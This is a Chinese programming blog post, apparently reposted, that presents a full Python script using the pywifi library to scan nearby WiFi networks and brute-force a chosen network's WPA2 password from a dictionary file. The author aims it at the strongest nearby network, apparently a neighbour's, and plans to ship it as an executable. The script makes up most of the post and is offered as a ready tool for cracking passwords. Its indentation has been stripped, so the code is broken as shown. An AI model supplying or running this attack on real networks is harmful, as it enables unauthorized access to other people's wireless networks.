暂无图片
暂无图片
暂无图片
暂无图片
暂无图片

网络攻防之——Python破解WiFi密码

土豆编程屋 2022-12-13
1663

忍不了了无线网最近拉跨的真实不行,才用它几天就说臣告退了,我。。。。。。

之前也有朋友问破解WiFi密码,做网安都知道,密码破解常见几种?有没有好好学自己的饭碗?嗯?

技术上做努力的常见:暴力破解,植入木马进行远程控制,使用嗅探器进行获取,使用工具破解。

这儿土豆采取的暴力破解,最常见的手段。之前拒绝那位朋友也是因为没有强大的密码字典,这次抱着好奇土豆就专门去搞了好几套密码字典。一套🐂的密码字典还真不便宜


Python代码主要用到pywifi工具库,也是Python比其他语言方便的地方,工具库做的很nice!

    import pywifi
    import time
    from pywifi import const




    # WiFi扫描模块
    def wifi_scan():
    # 初始化wifi
    wifi = pywifi.PyWiFi()
    # 使用第一个无线网卡
    interface = wifi.interfaces()[0]
    # 开始扫描
    interface.scan()
    for i in range(4):
    time.sleep(1)
    print('\r扫描可用 WiFi 中,请稍后。。。(' + str(3 - i), end=')')
    print('\r扫描完成!\n' + '-' * 38)
    print('\r{:4}{:6}{}'.format('编号', '信号强度', 'wifi名'))
    # 扫描结果,scan_results()返回一个集,存放的是每个wifi对象
    bss = interface.scan_results()
    # 存放wifi名的集合
    wifi_name_set = set()
    for w in bss:
    # 解决乱码问题
    wifi_name_and_signal = (
    100 + w.signal, w.ssid.encode('raw_unicode_escape').decode('utf-8'))
    wifi_name_set.add(wifi_name_and_signal)
    # 存入列表并按信号排序
    wifi_name_list = list(wifi_name_set)
    wifi_name_list = sorted(wifi_name_list, key=lambda a: a[0], reverse=True)
    num = 0
    # 格式化输出
    while num < len(wifi_name_list):
    print('\r{:<6d}{:<8d}{}'.format(num, wifi_name_list[num][0],
    wifi_name_list[num][1]))
    num += 1
    print('-' * 38)
    # 返回wifi列表
    return wifi_name_list




    # WIFI攻防模块
    def wifi_password_crack(wifi_name):
    # 字典路径
    wifi_dic_path = input("wp.txt")
    # wifi_dic_path = input(r'C:/Users/RK/Desktop/wifiPassword.txt')
    # print(wifi_dic_path)
    with open("wp.txt", 'r') as f:
    print(f)
    # 遍历密码
    for pwd in f:
    # 去除密码的末尾换行符
    pwd = pwd.strip('\n')
    # 创建wifi对象
    wifi = pywifi.PyWiFi()
    # 创建网卡对象,为第一个wifi网卡
    interface = wifi.interfaces()[0]
    # 断开所有wifi连接
    interface.disconnect()
    # 等待其断开
    while interface.status() == 4:
    # 当其处于连接状态时,利用循环等待其断开
    pass
    # 创建连接文件(对象)
    profile = pywifi.Profile()
    # wifi名称
    profile.ssid = wifi_name
    # 需要认证
    profile.auth = const.AUTH_ALG_OPEN
    # wifi默认加密算法
    profile.akm.append(const.AKM_TYPE_WPA2PSK)
    profile.cipher = const.CIPHER_TYPE_CCMP
    # wifi密码
    profile.key = pwd
    # 删除所有wifi连接文件
    interface.remove_all_network_profiles()
    # 设置新的wifi连接文件
    tmp_profile = interface.add_network_profile(profile)
    # 开始尝试连接
    interface.connect(tmp_profile)
    start_time = time.time()
    while time.time() - start_time < 1.5:
    # 接口状态为4代表连接成功(当尝试时间大于1.5秒之后则为错误密码,经测试测正确密码一般都在1.5秒内连接,若要提高准确性可以设置为2s或以上,相应暴力攻防速度就会变慢)
    if interface.status() == 4:
    print(f'\r连接成功!密码为:{pwd}')
    exit(0)
    else:
    print(f'\r正在利用密码 {pwd} 尝试攻防。', end='')




    # 主函数
    def main():
        # 退出标志
    exit_flag = 0
    # 目标编号
    target_num = -1
    while not exit_flag:
    try:
    print('WiFi密码攻防'.center(35, '-'))
    # 调用扫描模块,返回一个排序后的wifi列表
    wifi_list = wifi_scan()
    # 让用户选择要攻防的wifi编号,并对用户输入的编号进行判断和异常处理
    choose_exit_flag = 0
    while not choose_exit_flag:
    try:
    target_num = int(input('请选择你要尝试攻防的wifi:'))
    # 如果要选择的wifi编号在列表内,继续二次判断,否则重新输入
    if target_num in range(len(wifi_list)):
    # 二次确认
    while not choose_exit_flag:
    try:
    choose = str(input(
    f'你选择要攻防的WiFi名称是:{wifi_list[target_num][1]},确定吗?(Y/N)'))
    # 对用户输入进行小写处理,并判断
    if choose.lower() == 'y':
    choose_exit_flag = 1
    elif choose.lower() == 'n':
    break
    # 处理用户其它字母输入
    else:
    print('只能输入 Y/N 哦o(* ̄︶ ̄*)o')
    # 处理用户非字母输入
    except ValueError:
    print('只能输入 Y/N 哦o(* ̄︶ ̄*)o')
    # 退出攻防
    if choose_exit_flag == 1:
    break
    else:
    print('请重新输入哦(*^▽^*)')
    except ValueError:
    print('只能输入数字哦o(* ̄︶ ̄*)o')
    # 密码攻防,传入用户选择的wifi名称
    wifi_password_crack(wifi_list[target_num][1])
    print('-' * 38)
    exit_flag = 1
    except Exception as e:
    print(e)
    raise e




    if __name__ == '__main__':
    main()


    这里我们选择信号最强的WiFi——臣妾告发熹贵妃私通

    破解效果图如下:

    暴力破解的速度一方面取决于密码字典强不强,一方面取决于硬件设备,就类如我分配给它的2048MB内存去跑,更多的内存自然跑的更快。

    后期土豆打算把代码封装成exe程序,到时候哪台设备都能跑起来,nice。

    近日小事:

    现实版狼人杀来了来了,身边🐏了的真多,希望大家都健康平安,注意安全叭,定个小目标——顺利活到过年。


    文章转载自土豆编程屋,如果涉嫌侵权,请发送邮件至:contact@modb.pro进行举报,并提供相关证据,一经查实,墨天轮将立刻删除相关内容。

    评论